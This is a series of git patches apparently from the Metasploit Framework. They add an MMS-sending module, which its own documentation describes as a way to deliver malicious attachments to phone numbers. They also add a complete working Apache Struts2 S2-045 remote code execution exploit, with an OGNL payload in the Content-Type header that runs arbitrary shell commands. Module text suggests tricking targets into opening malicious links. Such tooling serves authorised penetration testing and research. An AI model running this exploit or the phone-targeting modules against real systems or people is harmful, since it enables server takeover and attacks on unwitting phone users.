+ +module Rex + module Proto + module Mms + module Model + class Message + + # @!attribute message + # @return [String] The text message + attr_accessor :message + + # @!attribute content_type + # @return [Fixnum] The content type of the attachment + attr_accessor :content_type + + # @!attribute attachment + # @return [String] The loaded attachment converted to Base64 + attr_accessor :attachment + + # @!attribute from + # @return [String] The from field in the email + attr_accessor :from + + # @!attribute to + # @return [String] The to field in the email + attr_accessor :to + + # @!attribute attachment_name + # @return [String] The attachment base name extracted from :attachment + attr_accessor :attachment_name + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :from + # @option opts [String] :to + # @option opts [String] :message + # @option opts [String] :content_type + # @option opts [String] :attachment_path + # + # @return [Rex::Proto::Mms::Model::Message] + def initialize(opts={}) + self.from = opts[:from] + self.to = opts[:to] + self.message = opts[:message] + self.content_type = opts[:content_type] + if opts[:attachment_path] + self.attachment = load_file_to_base64(opts[:attachment_path]) + self.attachment_name = File.basename(opts[:attachment_path]) + end + end + + + # Returns the raw MMS message + # + # @return [String] + def to_s + generate_mms_message + end + + + private + + + # Returns the loaded file in Base64 format + # + # @return [String] Base64 data + def load_file_to_base64(path) + buf = File.read(path) + Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n" + end + + + # Returns the raw MMS message + # + # @return [String] + def generate_mms_message + text = Rex::MIME::Message.new + text.add_part(self.message, 'text/plain; charset=UTF-8', nil) + body = Rex::MIME::Message.new + body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) + if self.attachment + body.add_part(self.attachment, "image/jpeg; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + end + + mms = "MIME-Version: 1.0\n" + mms << "From: #{self.from}\n" + mms << "To: #{self.to}\n" + mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n" + mms << "\n" + mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_") + + mms + end + + end + end + end + end +end diff --git a/lib/rex/proto/mms/model/smtp.rb b/lib/rex/proto/mms/model/smtp.rb new file mode 100644 index 0000000000..994315db32 --- /dev/null +++ b/lib/rex/proto/mms/model/smtp.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Mms + module Model + class Smtp + + # @!attribute address + # @return [String] SMTP address + attr_accessor :address + + # @!attribute port + # @return [Fixnum] SMTP port + attr_accessor :port + + # @!attribute username + # @return [String] SMTP account/username + attr_accessor :username + + # @!attribute password + # @return [String] SMTP password + attr_accessor :password + + # @!attribute login_type + # @return [Symbol] SMTP login type (:login, :plain, and :cram_md5) + attr_accessor :login_type + + # @!attribute from + # @return [String] Sender + attr_accessor :from + + # @!attribute helo_domain + # @return [String] The domain to use for the HELO SMTP message + attr_accessor :helo_domain + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :address + # @option opts [Fixnum] :port + # @option opts [String] :username + # @option opts [String] :password + # @option opts [String] :helo_domain + # @option opts [Symbol] :login_type + # @option opts [String] :from + # + # @return [Rex::Proto::Mms::Model::Smtp] + def initialize(opts={}) + self.address = opts[:address] + self.port = opts[:port] || 25 + self.username = opts[:username] + self.password = opts[:password] + self.helo_domain = opts[:helo_domain] || 'localhost' + self.login_type = opts[:login_type] || :login + self.from = opts[:from] || '' + end + + end + end + end + end +end From 6c53dd523163c34ce91d6ff4a6bf652b6e3b3c9a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 12:50:59 -0600 Subject: [PATCH 316/426] Fix a typo --- documentation/modules/auxiliary/client/sms/send_text.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index ec69d2289d..dcdd5e419b 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -13,7 +13,7 @@ multiple phone numbers, ideally you want to create the list in a text file (one and then load the CELLNUMBERS option like this: ``` -set CELLNUMBER file:///tmp/att_phone_numbers.txt +set CELLNUMBERS file:///tmp/att_phone_numbers.txt ``` Remember that these phone numbers must be the same carrier. From fbde0d18f22169d00f9bba74b5730c23dc182014 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 12:53:17 -0600 Subject: [PATCH 317/426] Add auxiliary/client/mms/send_mms --- modules/auxiliary/client/mms/send_mms.rb | 35 ++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 modules/auxiliary/client/mms/send_mms.rb diff --git a/modules/auxiliary/client/mms/send_mms.rb b/modules/auxiliary/client/mms/send_mms.rb new file mode 100644 index 0000000000..3fd64eb896 --- /dev/null +++ b/modules/auxiliary/client/mms/send_mms.rb @@ -0,0 +1,35 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Mms + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MMS Client', + 'Description' => %q{ + This module sends an MMS message to multiple phones of the same carrier. + You can use it to send a malicious attachment to phones. + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + )) + end + + def run + phone_numbers = datastore['CELLNUMBERS'].split + print_status("Sending mms message to #{phone_numbers.length} number(s)...") + begin + res = send_mms(phone_numbers, datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE']) + print_status("Done.") + rescue Rex::Proto::Mms::Exception => e + print_error(e.message) + end + end + +end From d32f08f969900c37568409ea8bf9ed7eda84b825 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 14:40:37 -0600 Subject: [PATCH 318/426] Add doc and fix mms message class --- .../modules/auxiliary/client/mms/send_mms.md | 144 ++++++++++++++++++ lib/rex/proto/mms/model/message.rb | 2 +- 2 files changed, 145 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/auxiliary/client/mms/send_mms.md diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md new file mode 100644 index 0000000000..c803b2206a --- /dev/null +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -0,0 +1,144 @@ +The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a +collection of phone numbers of the same carrier. + +In order to use this module, you must set up your own SMTP server to deliver messages. Popular +mail services such as Gmail, Yahoo, Live should work fine. + +## Module Options + +**CELLNUMBERS** + +The 10-digit phone number (or numbers) you want to send the MMS text to. If you wish to target +against multiple phone numbers, ideally you want to create the list in a text file (one number per +line), and then load the CELLNUMBERS option like this: + +``` +set CELLNUMBERS file:///tmp/att_phone_numbers.txt +``` + +Remember that these phone numbers must be the same carrier. + +**MMSCARRIER** + +The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about +supported carriers. + +**TEXTMESSAGE** + +The text message you want to send. For example, this will send a text with a link to google: + +``` +set TEXTMESSAGE "Hi, please go: google.com" +``` + +The link should automatically be parsed on the phone and clickable. + +**MMSFILE** + +The attachment to send in the message. + +**MMSFILECTYPE** + +The content type to use for the attachment. Commonly supported ones include: + +* audio/midi +* image/jpeg +* image/gif +* image/png +* video/mp4 + +To find more, please try this [list](http://www.freeformatter.com/mime-types-list.html) + +**SMTPADDRESS** + +The mail server address you wish to use to send the MMS messages. + +**SMTPPORT** + +The mail server port. By default, this is ```25```. + +**SMTPUSERNAME** + +The username you use to log into the SMTP server. + +**SMTPPASSWORD** + +The password you use to log into the SMTP server. + +**SMTPFROM** + +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. + +## Supported Carrier Gateways + +The module supports the following carriers: + +* AT&T +* Sprint +* T-Mobile +* Verizon + +## Finding the Carrier for a Phone Number + +Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out +how to identify the carrier of a phone number. There are many services that can do this, such as: + +http://freecarrierlookup.com/ + +## Gmail SMTP Example + +Gmail is a popular mail server, so we will use this as a demonstration. + +Assuming you are already using two-factor authentication, you need to create an [application password](https://support.google.com/accounts/answer/185833?hl=en). + +After creating the application password, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.gmail.com``` +* ```set smtpport 587``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR GMAIL]``` (you don't need ```@gmail.com``` at the end) +* ```set smtppassword [APPLICATION PASSWORD]``` + +And you should be ready to go. + +## Yahoo SMTP Example + +Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail), +so we will demonstrate as well. + +Before using the module, you must do this to your Yahoo account: + +1. Sign in to Yahoo Mail. +2. [Go to your "Account security" settings.](https://login.yahoo.com/account/security#less-secure-apps) +3. Turn on Allow apps that use less secure sign in. + +After configuring your Yahoo account, configure auxiliary/client/mms/send_mms this way: + +* ```set cellnumbers [PHONE NUMBER]``` +* ```set mmscarrier [CHOOSE A SUPPORTED CARRIER]``` +* ```set textmessage "[TEXT MESSAGE]"``` +* ```set smtpaddress smtp.mail.yahoo.com``` +* ```set smtpport 25``` +* ```set mmsfile /tmp/example.mp4``` +* ```set mmsfilectype video/mp4``` +* ```set smtpusername [USERNAME FOR YAHOO]@yahoo.com``` +* ```set smtppassword [YAHOO LOGIN PASSWORD]``` + +And you're good to go. + +## Demonstration + +After setting up your mail server and the module, your output should look similar to this: + +``` +msf auxiliary(send_mms) > run + +[*] Sending mms message to 1 number(s)... +[*] Done. +[*] Auxiliary module execution completed +msf auxiliary(send_mms) > +``` diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index 365d55ea8f..cc007cf7fb 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -82,7 +82,7 @@ module Rex body = Rex::MIME::Message.new body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil) if self.attachment - body.add_part(self.attachment, "image/jpeg; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") + body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"") end mms = "MIME-Version: 1.0\n" From 1aec2203e5c41f9490024c40f388ee728e074064 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 7 Mar 2017 21:02:30 +0000 Subject: [PATCH 319/426] Warn when setting RHOST option for module which expects RHOSTS --- lib/msf/ui/console/command_dispatcher/core.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index bb1d2bbc32..350ca57c20 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1531,6 +1531,16 @@ class Core end end + # Warn when setting RHOST option for module which expects RHOSTS + if args.first.upcase.eql?('RHOST') + mod = active_module + unless mod.nil? + if !mod.options.include?('RHOST') && mod.options.include?('RHOSTS') + print_warning("RHOST is not a valid option for this module. Did you mean RHOSTS?") + end + end + end + # Set the supplied name to the supplied value name = args[0] value = args[1, args.length-1].join(' ') From 7976966ce936b454b04cc0ce9e5684178c4fef60 Mon Sep 17 00:00:00 2001 From: = <=> Date: Wed, 8 Mar 2017 03:12:41 +0530 Subject: [PATCH 320/426] Issue 7923 - msftidy errors on master --- lib/msf/core/handler/reverse.rb | 17 ++--------------- .../linux/http/mvpower_dvr_shell_exec.rb | 2 ++ .../linux/http/tr064_ntpserver_cmdinject.rb | 1 + .../linux/http/trueonline_p660hn_v2_rce.rb | 2 ++ .../exploits/linux/local/service_persistence.rb | 2 +- .../payloads/stagers/python/reverse_tcp_ssl.rb | 2 +- 6 files changed, 9 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index f9d093182d..4441c0babe 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -48,17 +48,7 @@ module Msf addrs end - #Function to check for loopback addresses - def loopback_addr(addr) - begin - a=IPAddr.new(addr.to_s) - return true if - IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') ==a - rescue - end - false - end + # @return [Integer] @@ -94,10 +84,7 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - if loopback_addr(ip) ==true - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?\n") - end + rescue ex = $! diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 44154f54df..7a07825471 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) res = send_request_cgi( +'method' => 'GET', 'uri' => "/shell?echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } ) @@ -75,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts) begin send_request_cgi( +'method' => 'GET', 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", 'headers' => { 'Connection' => 'Keep-Alive' } ) diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 59f6704439..04bf8cae15 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,6 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ +'method' => 'GET', 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 }) rescue ::Rex::ConnectionError diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index ef0b02f918..67d7bbe963 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi!({ + 'uri' => '/js/Multi_Language.js', 'method' => 'GET' }) @@ -98,6 +99,7 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ +'method' => 'GET', 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", diff --git a/modules/exploits/linux/local/service_persistence.rb b/modules/exploits/linux/local/service_persistence.rb index fab292e3bf..06c2d9e0b0 100644 --- a/modules/exploits/linux/local/service_persistence.rb +++ b/modules/exploits/linux/local/service_persistence.rb @@ -204,7 +204,7 @@ case \"$1\" in else echo \"Starting $name\" cd \"$dir\"} - +#Check this block @itsmeroy2012 if has_updatercd script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" else # CentOS didn't like sudo or su... diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb index e5a6422a1a..d564bec8cb 100644 --- a/modules/payloads/stagers/python/reverse_tcp_ssl.rb +++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: https://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From dc36bc4a0dd15ab90e72980a2043ab60e35b6d6c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:49:42 -0600 Subject: [PATCH 321/426] Add rspec --- lib/rex/proto/mms/model/message.rb | 2 +- spec/lib/rex/proto/mms/client_spec.rb | 60 ++++++++++++++++++++ spec/lib/rex/proto/mms/model/message_spec.rb | 56 ++++++++++++++++++ spec/lib/rex/proto/mms/model/smtp_spec.rb | 57 +++++++++++++++++++ 4 files changed, 174 insertions(+), 1 deletion(-) create mode 100644 spec/lib/rex/proto/mms/client_spec.rb create mode 100644 spec/lib/rex/proto/mms/model/message_spec.rb create mode 100644 spec/lib/rex/proto/mms/model/smtp_spec.rb diff --git a/lib/rex/proto/mms/model/message.rb b/lib/rex/proto/mms/model/message.rb index cc007cf7fb..204d64a451 100644 --- a/lib/rex/proto/mms/model/message.rb +++ b/lib/rex/proto/mms/model/message.rb @@ -69,7 +69,7 @@ module Rex # @return [String] Base64 data def load_file_to_base64(path) buf = File.read(path) - Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n" + (Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip end diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb new file mode 100644 index 0000000000..ded2ea42c0 --- /dev/null +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Client do + + let(:phone_numbers) { ['1112223333'] } + + let(:message) { 'message' } + + let(:attachment) { 'file.jpg' } + + let(:file_content) { 'content' } + + let(:ctype) { 'ctype' } + + let(:carrier) { :verizon } + + let(:smtp_server) { + Rex::Proto::Sms::Model::Smtp.new( + address: 'example.com', + port: 25, + username: 'username', + password: 'password' + ) + } + + subject do + Rex::Proto::Mms::Client.new( + carrier: carrier, + smtp_server: smtp_server + ) + end + + describe '#initialize' do + it 'sets carrier' do + expect(subject.carrier).to eq(carrier) + end + + it 'sets smtp server' do + expect(subject.smtp_server).to eq(smtp_server) + end + end + + describe '#send_mms_to_phones' do + before(:each) do + smtp = Net::SMTP.new(smtp_server.address, smtp_server.port) + allow(smtp).to receive(:start).and_yield + allow(smtp).to receive(:send_message) { |args| @sent_message = args } + allow(Net::SMTP).to receive(:new).and_return(smtp) + allow(File).to receive(:read).and_return(file_content) + end + + it 'sends an mms message' do + subject.send_mms_to_phones(phone_numbers, message, attachment, ctype) + expect(@sent_message).to include('MIME-Version: 1.0') + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/message_spec.rb b/spec/lib/rex/proto/mms/model/message_spec.rb new file mode 100644 index 0000000000..959f92815e --- /dev/null +++ b/spec/lib/rex/proto/mms/model/message_spec.rb @@ -0,0 +1,56 @@ +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Message do + + let(:message) { 'message' } + let(:content_type) { 'ctype' } + let(:attachment) { 'filepath.jpg' } + let(:filecontent) { 'file content' } + let(:from) { 'sender@example.com' } + let(:to) { 'receiver@example.com' } + + before(:each) do + allow(File).to receive(:read).and_return(filecontent) + end + + subject do + described_class.new( + from: from, + to: to, + message: message, + content_type: content_type, + attachment_path: attachment + ) + end + + describe '#initialize' do + it 'sets message' do + expect(subject.message).to eq(message) + end + + it 'sets content type' do + expect(subject.content_type).to eq(content_type) + end + + it 'sets attachment path' do + expect(subject.attachment).to eq('ZmlsZSBjb250ZW50') + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets to' do + expect(subject.to).to eq(to) + end + end + + describe '#to_s' do + it 'returns the mms message' do + expect(subject.to_s).to include('MIME-Version: 1.0') + + end + end + +end diff --git a/spec/lib/rex/proto/mms/model/smtp_spec.rb b/spec/lib/rex/proto/mms/model/smtp_spec.rb new file mode 100644 index 0000000000..adcc06bb5b --- /dev/null +++ b/spec/lib/rex/proto/mms/model/smtp_spec.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/mms/model' + +RSpec.describe Rex::Proto::Mms::Model::Smtp do + + let(:address) { 'example.com' } + let(:port) { 25 } + let(:username) { 'username' } + let(:password) { 'password' } + let(:login_type) { :login } + let(:from) { 'from' } + let(:helo_domain) { 'example.com'} + + subject do + Rex::Proto::Mms::Model::Smtp.new( + address: address, + port: port, + username: username, + password: password, + login_type: login_type, + from: from, + helo_domain: helo_domain + ) + end + + describe '#initialize' do + it 'sets address' do + expect(subject.address).to eq(address) + end + + it 'sets port' do + expect(subject.port).to eq(port) + end + + it 'sets username' do + expect(subject.username).to eq(username) + end + + it 'sets password' do + expect(subject.password).to eq(password) + end + + it 'sets login_type' do + expect(subject.login_type).to eq(login_type) + end + + it 'sets from' do + expect(subject.from).to eq(from) + end + + it 'sets helo domain' do + expect(subject.helo_domain).to eq(helo_domain) + end + end + +end From a634fec8b339ca1e6272f74f5315e0a93d0c86dd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:51:17 -0600 Subject: [PATCH 322/426] Fix typo --- spec/lib/rex/proto/mms/client_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/proto/mms/client_spec.rb b/spec/lib/rex/proto/mms/client_spec.rb index ded2ea42c0..dca9fbb4a9 100644 --- a/spec/lib/rex/proto/mms/client_spec.rb +++ b/spec/lib/rex/proto/mms/client_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Rex::Proto::Mms::Client do let(:carrier) { :verizon } let(:smtp_server) { - Rex::Proto::Sms::Model::Smtp.new( + Rex::Proto::Mms::Model::Smtp.new( address: 'example.com', port: 25, username: 'username', From e327f9b330e57c074e45063c5bbb357b9ae1047e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 16:55:06 -0600 Subject: [PATCH 323/426] Update other module descriptions --- modules/auxiliary/client/sms/send_text.rb | 4 ++-- modules/auxiliary/server/android_browsable_msf_launch.rb | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb index 8bc0382db4..8dbff90190 100644 --- a/modules/auxiliary/client/sms/send_text.rb +++ b/modules/auxiliary/client/sms/send_text.rb @@ -16,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary This module sends a text message to multiple phones of the same carrier. You can use it to send a malicious link to phones. - Please note that you do not use this module to send a media file (attachment), - because that is MMS. + Please note that you do not use this module to send a media file (attachment). + In order to send a media file, please use auxiliary/client/mms/send_mms instead. }, 'Author' => [ 'sinn3r' ], 'License' => MSF_LICENSE diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index 6763597f09..dbe22bad58 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary This module allows you to open an android meterpreter via a browser. An Android meterpreter must be installed as an application beforehand on the target device in order to use this. + + For best results, you can consider using the auxiliary/client/sms/send_text to + trick your target into opening the malicious link, and wake up Meterpreter. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], From 036a443a411c705ad307d9e4d1eebfe39e24bb06 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 7 Mar 2017 17:02:32 -0600 Subject: [PATCH 324/426] Add Google Fi gateway --- documentation/modules/auxiliary/client/mms/send_mms.md | 1 + lib/rex/proto/mms/model.rb | 9 +++++---- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/client/mms/send_mms.md b/documentation/modules/auxiliary/client/mms/send_mms.md index c803b2206a..ef760c74ad 100644 --- a/documentation/modules/auxiliary/client/mms/send_mms.md +++ b/documentation/modules/auxiliary/client/mms/send_mms.md @@ -77,6 +77,7 @@ The module supports the following carriers: * Sprint * T-Mobile * Verizon +* Google Fi ## Finding the Carrier for a Phone Number diff --git a/lib/rex/proto/mms/model.rb b/lib/rex/proto/mms/model.rb index 2a61587182..6bbd343146 100644 --- a/lib/rex/proto/mms/model.rb +++ b/lib/rex/proto/mms/model.rb @@ -6,10 +6,11 @@ module Rex module Model GATEWAYS = { - att:'mms.att.net', # AT&T Wireless - sprint: 'pm.sprint.com', # Sprint - tmobile: 'tmomail.net', # T-Mobile - verizon: 'vzwpix.com' # Verizon + att:'mms.att.net', # AT&T Wireless + sprint: 'pm.sprint.com', # Sprint + tmobile: 'tmomail.net', # T-Mobile + verizon: 'vzwpix.com', # Verizon + google: 'msg.fi.google.com' # Google } end From fc0f63e77471baa40057effaaa8be0f205adc6b7 Mon Sep 17 00:00:00 2001 From: nixawk Date: Tue, 7 Mar 2017 20:10:59 -0600 Subject: [PATCH 325/426] exploit Apache Struts2 S2-045 --- .../multi/http/struts2_code_exec_jakarta.rb | 117 ++++++++++++++++++ 1 file changed, 117 insertions(+) create mode 100644 modules/exploits/multi/http/struts2_code_exec_jakarta.rb diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb new file mode 100644 index 0000000000..5ef6be88a5 --- /dev/null +++ b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb @@ -0,0 +1,117 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vunlerability in Apache Struts + version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed + via http Content-Type header. + }, + 'Author' => [ 'Nixawk' ], + 'References' => [ + ['CVE', '2017-5638'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] + ], + 'Platform' => %w{ unix win }, + 'Privileged' => true, + 'Targets' => + [ + ['Apache Struts2 / unix', {} ], + ['Apache Struts2 / win', {} ] + ], + 'DisclosureDate' => 'Mat 07 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), + OptString.new('CMD', [true, 'The command to be executed in remote server', 'dir']) + ] + ) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def send_http_request(payload) + uri = normalize_uri(datastore["TARGETURI"]) + resp = send_request_cgi( + 'uri' => uri, + 'version' => '1.1', + 'method' => 'GET', + 'headers' => { + 'Content-Type': payload + } + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') + end + resp + end + + def http_send_command(cmd) + payload = "%{(#_='multipart/form-data')." + payload << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + payload << "(#_memberAccess?" + payload << "(#_memberAccess=#dm):" + payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + payload << "(#ognlUtil.getExcludedPackageNames().clear())." + payload << "(#ognlUtil.getExcludedClasses().clear())." + payload << "(#context.setMemberAccess(#dm))))." + payload << "(#cmd='#{cmd}')." + payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + payload << "(#p=new java.lang.ProcessBuilder(#cmds))." + payload << "(#p.redirectErrorStream(true))." + payload << "(#process=#p.start())." + payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + payload << "(#ros.flush())}" + send_http_request(payload) + end + + def check + var_a = rand_text_alpha_lower(4) + var_b = rand_text_alpha_lower(4) + + payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" + payload << ".addHeader('#{var_a}', '#{var_b}')" + payload << "}.multipart/form-data" + + begin + resp = send_http_request(payload) + rescue Msf::Exploit::Failed + return Exploit::CheckCode::Unknown + end + + if resp && resp.code == 200 && resp.headers[var_a] == var_b + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + end + + resp = http_send_command(datastore['cmd']) + print_status("Command output: #{resp.body}") + end +end From 75a1d979dc1e9915cf33235fc39d91cc52c75510 Mon Sep 17 00:00:00 2001 From: nixawk Date: Tue, 7 Mar 2017 20:28:29 -0600 Subject: [PATCH 326/426] Fix: Incorrect disclosure month forma --- modules/exploits/multi/http/struts2_code_exec_jakarta.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb index 5ef6be88a5..4f20d71dbe 100644 --- a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb +++ b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ['Apache Struts2 / unix', {} ], ['Apache Struts2 / win', {} ] ], - 'DisclosureDate' => 'Mat 07 2017', + 'DisclosureDate' => 'Mar 07 2017', 'DefaultTarget' => 0)) register_options( From b73a884c05c3162c53d28d18a64db58d1dfc1bef Mon Sep 17 00:00:00 2001 From: root Date: Wed, 8 Mar 2017 13:38:18 +0800 Subject: 